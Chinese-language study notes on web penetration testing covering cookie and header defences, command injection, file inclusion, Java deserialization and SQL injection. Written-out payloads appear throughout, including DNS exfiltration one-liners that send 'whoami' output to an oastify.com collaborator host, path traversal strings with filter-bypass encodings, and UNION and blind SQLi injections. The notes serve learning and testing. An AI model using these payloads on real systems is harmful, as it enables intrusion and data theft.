web安全测试3-注入(完整名请用base64解码):c2VjNTQyIFdFQiBBUFAgUEVORVRSQVRJT04gVEVTVElORyAmIEVUSElDQUwgSEFDS0lORw==
注入
-
保护 Cookie
Secure;HttpOnly;SameSite
用户的浏览器、地理位置 IP 地址等信息:一些应用程序收集分析这些信息,会在同一会话期间检测浏览器属性的变化,并要求用户重新登录
HttpOnly:适用于包含JavaScript之外的所有客户端语言
SameSite:用于控制何时在跨站点请求中发送(目的是防止跨站请求伪造 (CSRF) 攻击)。strict 阻止任何跨站请求发送 cookie;lax 允许浏览器通过常规链接发送 cookie,同时防止在 CSRF 攻击中发送 cookie;none 允许浏览器始终发送 Cookie -
CSRF,同源策略,SameSite
CSRF:浏览器打开第一个标签页A网站,因为其他原因打开第二个标签页B网站(比如恶意链接或水坑钓鱼)。如果B网站存在A网站的链接,浏览器就会自动访问A网站(A网站中的cookie在内存中是共享的。当点开B网站那一刻就会已登录态去访问A网站)
同源策略:由于同源策略限制的是攻击者无法看到响应,但允许发出任何的请求,浏览器会自动附加cookie(cookie在内存共享)
SameSite:strict 属性(即使 cookie 存在,浏览器也不会把它包含在请求中);lax 属性(如果访问B网站并自己点击A网站的链接,cookie依旧会发送过去;如果是B网站自动发起HTTP请求,则浏览器不会附带cookie);none(等于没有SameSite) -
HTTP 安全标头
这些标头应该由web应用来设置,浏览器遵守这些标头
X-Frame-Options:防止应用被框架化(frame)
HTTP Strict Transport Security:未来的所有请求只能通过HTTPS访问
Content-Security-Policy:允许开发人员定义活动内容(比如,加载位置参数和执行位置参数等) -
X-Frame-Options
浏览器是否允许在iframe中显示网页,还是允许嵌入(防止点击劫持):控制的标签有<frame>, <iframe>, <embed>, <object>
点击劫持:将受害者页面加载到自己控制的页面中,上层页面透明(iframe),受害者点击屏幕时,点击的是上层页面(top page),而不是下层肉眼可见的页面(bottom page)。键盘记录也会到透明的框架中。DENY 属性阻止页面被嵌入框架;SAMEORIGIN 属性仅允许来自与响应源相同的页面进行框架嵌入
美刀提示:点击劫持可以与self-xss相结合 -
HTTP Strict Transport Security(HSTS)
确保后续请求始终通过HTTPS访问网页
max-age:浏览器记住的时间,单位秒
includeSubDomains:适用于网站所有子域 -
Content-Security-Policy(CSP)
浏览器可以加载什么资源,什么资源受web应用服务器信任
允许开发者指定浏览器在当前网页上下文中可以加载和执行的服务器来源和脚本端点
遇到其他 JavaScript 代码时,除非CSP响应标头明确允许,否则浏览器将拒绝执行它
Content-Security-Policy: <policy-directive>; <policy-directive>
Content-Security-Policy: default-src ‘self’;会破坏从外部站点加载的任何其他正常业务 JavaScript
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP -
寻找命令注入
https://web.archive.org/web/20251214102046/https://www.bugbountyhunter.com/vulnerability/?type=command_injection
$(date)命令替换:允许将一个命令插入到另一个命令中,并将插入命令的输出传递给父命令
echo date
echo $(date)
考虑显注与盲注
琢磨你的输入与底层最终的形成语句,来考虑语义分隔符
你的输入:127.0.0.1
最终生成语句:ping 127.0.0.1
命令分隔符和输出重定向:; | || & && > >>
命令替换符号:` $()
输出重定向符号可能允许攻击者将输出写入文件,例如编写批处理脚本或 Web shell,绕过黑名单的符号
-
利用命令注入
所有人可读的文件 world-readable file:/etc/passwd 或 C:\Windows\win.ini
盲注:Ping或dns查询dnslog( Linux、MacOS 和 UNIX 会一直ping下去)
查找密码,SSH密钥,配置文件,敏感信息等
创建shell:Netcat, SSH, PowerShell/Python/Perl/Ruby/PHP, C2 Framework
盲注的dnslog:域名,VPS,bind (DNS server software),记录DNS请求
Burp Collaborator:即dnslog,2022年后改用 oastify.com(旧域名被屏蔽)
https://portswigger.net/burp/documentation/collaborator -
不出网环境
所有的初级红队教程已覆盖这些默认认知:畸形面试,真正要思考的是他的经历是否属实从而评估,而非“所谓的面试没答上来”。
所有的不出网默认都允许DNS隧道(禁用ICMP隧道):这台机器无法访问互联网,但是系统内置DNS,在进行DNS解析之后最终也能连接到互联网。真正的不出网,把网线拔了。 -
DNS隧道
base64 包含 + /,不符合DNS安全上下文
;a=$(whoami|base32|tr -d =);nslookup $a.demo.oastify.com
echo -n AAAAAAAAAAAAAAA | wc –c #15个字节,tr -d 删除 =,它会破坏DNS请求
echo AAAAAAAAAAAAAAA= | base32 -d # 解码 =填充4字节的边界
;a=$(whoami|xxd -ps);nslookup $a.demo.oastify.com
xxd -r -p 解码
子域长度限制:https://isc.sans.edu/diary/DNS+Query+Length+Because+Size+Does+Matter/22326
-
本地文件包含 (LFI)
形成显注的情况:
模板
文档或图像检索
框架内容
造成的影响:访问敏感数据或代码执行 -
目录遍历(Directory Traversal)
允许攻击者利用本地文件包含 (LFI) 漏洞访问 Web 根目录之外的文件
运行 Web 服务器的帐户必须具有访问文件的权限
利用相对路径或绝对路径进行攻击:
../../../etc/passwd
..\..\..\windows\win.ini
/var/log/apache2/access.log
C:\windows\win.ini
可以尝试使用 URL、双 URL 或 Unicode/UTF-8 编码来绕过
%2e web应用程序解码(waf或过滤器也可能进行解码)
%252e web应用程序解码
..%c0%af web应用程序解码
-
本地文件包含 (LFI) 的影响
应用程序配置文件
系统配置文件
源代码
日志
用户配置文件
用户文档 -
远程文件包含 (RFI)
允许从本地文件系统检索文件的功能也支持通过 FTP、HTTP 和/或通用命名约定 (UNC) 从远程系统检索文件
应用可能会执行包含在已下载文件中的服务器端代码 -
软件和数据完整性故障
https://owasp.org/Top10/2021/A08_2021-Software_and_Data_Integrity_Failures/index.html -
不安全的反序列化
序列化:将进程内存中的变量和对象转换为可存储或传输的格式(字节流)的过程
反序列化:将字节流转换回当前进程内存中的对象的过程(类似大小端,解决数据在内存中的存储顺序)
ysoserial:利用 Java 应用程序中不安全的反序列化
可能出现在任何面向对象编程语言中:Java 最常受到影响,但也适用于 .NET、PHP、Ruby、Python 等语言
不安全的反序列化会出现在哪里:远程/进程间通信(RPC/IPC); 远程方法调用(RMI);Java 管理扩展 (JMX);Java 消息服务(JMS);Java Server Faces 实现(ViewState)
PHP序列化对象很明显
java反序列化对象是二进制,也很明显:开头是魔术数字和版本号 0xaced和版本5
java对象描述:包含类名和其他字段,这些字段可以是基本类型、类或接口。名称将采用 UTF-8 编码。
java对于类而言,有许多类型代码用于特定的字段类型:
`B' // byte `C' // char `D' // double `F' // float `I' // integer `J' // long `S' // short `Z' // Boolean

TC_OBJECT = 0x73: 表示该字段是一个对象
TC_CLASSDESC = 0x72: 告诉我们下一部分是类描述

类名大小 = 0x23
类名(UTF-8):org.xxx.serializer.WorkshopClass

原始字段 : I(整数):2
字段名称(UTF-8):role

对象类型 = L(类/接口)
字段名 = username,类名 = java.lang.String

整数角色值:2

字符串 username 的值:bojanz

- 反序列化RCE
服务器端反序列化过程会处理序列化对象所指示的任何操作
反序列化过程中,JVM 会解析对象成员字段:对象成员字段受攻击者控制,通过实例化类来实现RCE
常见:通过 readObject() 调用完成
攻击滥用了所谓的面向属性编程(POP),与面向返回编程 (ROP) 相对相似(ROP使用现有二进制代码(例如库中的代码)来实现特定操作时)
使用“gadget”类(小工具链):目标进程类加载器能够找到并加载(从文件系统中)的任何可序列化类,这些都可以被用来进行利用反序列化。创建的链会被序列化,最后被反序列化执行。
唯一的限制是反序列化器的类加载器必须能够找到并加载引用的类:不能引入新类,但应该能够实例化(几乎)任何已存在的类。
对象于内存中被反序列化时发生攻击:代码在反序列化器中时进行攻击,也就是在开发人员验证反序列化对象之前(应该在收到序列化对象后立即进行验证,然后再将其传递给反序列化器)。
创建小工具链可能非常困难,需要非常深厚的 Java 知识:已知的预加载类,ysoserial,其中包含许多小工具链的信息,并且一旦发现新的小工具链,该工具就会立即更新
该工具允许用户轻松创建包含任意命令的有效载荷:用户只需选择一个 gadget 链和要执行的命令。Ysoserial 随后会创建一个序列化对象,其中包含能够执行所需命令的 gadget:
java -jar ysoserial.jar
-
sql注入
应用程序允许用户提供的输入被用于动态构建的 SQL 查询,并将该查询发送到后端数据存储
关系型数据库管理系统(RDBMS):例如,Oracle 数据库、MySQL 或 MS SQL Server -
关键SQL动词
SELECT – 最常用的动词;从表中检索数据;INSERT – 向表中添加数据;UPDATE – 修改现有数据;DELETE – 删除表中的数据;DROP – 删除表;UNION – 合并来自多个查询的数据。 -
SQL 查询修饰符
WHERE – 筛选 SQL 查询,仅当满足特定条件时才执行
AND/OR – 与 WHERE 结合使用,缩小 SQL 查询范围
LIMIT #1,#2 – 限制返回的行数为 #2,从 #1 开始
ORDER BY # – 按列号排序
-
重要的 SQL 数据类型
布尔值 – True/False
int – 整数
字符 – 固定长度字符串
varchar – 可变长度字符串
二进制 - 名称使用差异很大 -
SQL 特殊字符
' , " 字符串分隔符
; 终止 SQL 语句
-- , # , /* 注释分隔符
%, * 通配符
||, +, " " 字符串连接字符
+, <, >, = 数学运算符
= 等效性检验
( ) 调用函数、子查询和插入操作
%00 空字节
-
SQLi平衡
引号,括号平衡:A';--;A');--;A' OR 'a'='a
列平衡:INSERT INTO test_tbl (name,id,password) VALUES ('test','1',2);
数据类型平衡:字符串和数字通常是兼容的 -
发现SQL注入
一把梭:罗列出输入点;正常值提交作为基线;fuzz SQLi字典每一条值需知道它在返回“0”的结果还是“1”的结果(所有的语义错误返回都是“0”,Sql字典缺乏0与1的连续性);最后替换0与1为任意 SQL 语句
任何输入都可能导致 SQL 注入:一种预判博弈,它可能会存在数据交互用到数据库
输入被应用程序传入后端数据库进行执行,从而造成漏洞利用
显注,带内/内联 SQL 注入:可以不受限制的直接看见SQL注入结果
盲注:时间,布尔
等效字符串注入:
user' ;#
user' ;--
us'/* */'er
us' 'er
us'| |'er
二元/布尔注入:
user' AND 1;#
user' AND 1=1;#
'
user' AND 0;#
user' AND 1=0;#
威力在于将 1=1 替换为任意 SQL 语句
Prefix: user' AND
Evaluation: substr((select table_name from information_schema.tables limit 1),1,1) > "a"
Suffix: ;#
时延:
Sleep(10) – MySQL
WAITFOR DELAY '0:0:10' – MS SQL
带外 SQL 注入:无回显,无布尔,无时延。利用HTTP或DNS
-
数据库指纹采集
特殊命令、函数、语法和默认值来访问数据库 -
(元)数据库信息
并非所有供应商都支持 information_schema 标准
information_schema的实现也各不相同:MySQL包含了每个数据库的信息;MS SQL Server仅显示当前数据库的信息;Oracle、DB2 和 SQLite 不支持 information_schema 标准 -
数据库/表/列
MySQL:
Databases: SELECT schema_name FROM information_schema.schemata
Tables: SELECT table_name FROM information_schema.tables
Columns: SELECT column_name FROM information_schema.columns
MS SQL Server:
Databases: SELECT name FROM sys.databases
Tables: SELECT name FROM sys.tables
Columns: SELECT name FROM sys.columns
Oracle:
Schemas: SELECT owner FROM all_tables
Tables: SELECT table_name FROM all_tables
Columns: SELECT column_name FROM all_tab_columns
-
堆叠查询
最有可能支持堆叠查询的关系型数据库管理系统是 MS SQL Server。
MySQL 从数据库层面来说理论上支持堆叠查询,但应用程序与后端数据库的交互方式会影响其支持程度。
大多数 Oracle 文档都表明不支持堆叠。
如果 SQL 注入的唯一目的只是数据窃取就不需要注意堆叠查询。它的真正优势在于能够轻松突破现有查询的限制。是实现一些影响深远的注入的快速简便的方法。 -
联合 SQL 注入
SQL UNION 允许突破当前所用表的限制
UNION 允许访问数据库中的任意数据
SELECT * FROM Users WHERE name='test' UNION SELECT * FROM admin;-- ';
新的 UNION SELECT * FROM admin 语句 从 admin 表中提取数据,并将其作为附加数据行返回 -
UNION 预条件
提取的列数必须与原始 SELECT 语句列数相匹配
列数据类型必须兼容
需要知道要针对的具体表格 -
不带 FROM 子句的 SELECT 语句
确定列数
SELECT 语句不带 FROM 子句,只会返回提供的数据的解释形式。
SELECT 1; --
Returns 1
SELECT 'admin'; --
SELECT CONCAT('ad','min'); --
Return admin
对于大多数关系型数据库管理系统(RDBMS),可以使用不带 FROM 子句的 SELECT 语句。Oracle 明确禁止这样做,但它提供了一个名为 DUAL 的专用虚拟表,其使用方式差不多。许多非 Oracle 厂商也为 DUAL 创建了默认视图,以更好地与 Oracle 兼容。
-
NULL值
无 FROM 子句的 SELECT 语句与 NULL 的使用
使用联合类型(UNION)时,返回的数据类型不必完全匹配,但不能不兼容
NULL 相当宽容:它不会与任何类型的数据不匹配 -
UNION+NULL
user' UNION SELECT NULL,NULL,NULL;--
确定列数的另一种方法是插入 ORDER BY 子句。不断递增列号,直到因为尝试按不存在的列号排序而抛出错误为止 -
数据类型
使用 NULL 值,可以暂时忽略数据类型问题
由于使用 UNION 语句返回实际数据,因此需要确定数据类型
通常需要找到至少一列来容纳要返回的字符串:
user' UNION SELECT NULL,NULL,NULL,NULL;--
遍历每一列,将 NULL 替换为字符串“42”,直到找到一个不会报错的输入
user' UNION SELECT '42',NULL,NULL,NULL;--
- UNION 和数据泄露
SQLi Prefix: user' AND
SQLi Suffix: ;#
Binary Inject 1: substr((select table_name from
information_schema.tables limit 1),1,1) > "m"
substr((… limit 1),2,1) > "m"
-
超越SQLi数据泄露
注入存储型XSS
数据库权限提升
读取文件:模块,库文件加载
MySQL - LOAD_FILE()
SQL Server - BULK INSERT
写入文件: Web shell
MySQL - INTO OUTFILE
操作系统交互:SQL Server 包含许多用于与操作系统交互的存储过程 -
SQL 注入速查表
https://websec.ca/kb/sql_injection
https://pentestmonkey.net/category/cheat-sheet/sql-injection
https://sqlwiki.netspi.com/
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet
OWASP 防御速查表
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html -
SQLi 工具
sqlmap 目前并不定期发布软件包。相反,其源代码和 sqlmap.py 脚本会持续维护并免费提供。请使用 GitHub 上的最新 sqlmap 版本,而不是 Linux 发行版自带的软件包
https://github.com/sqlmapproject/sqlmap
语法:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 代理参数到burp补全登录后的自动化测试需要
sqlmap:HTTP 标头
--user-agent
--referer
burp自动转换 sqlmap 的请求:会话处理规则
sqlmap:数据库枚举
sqlmap:数据库数据泄露
465

浙公网安备 33010602011771号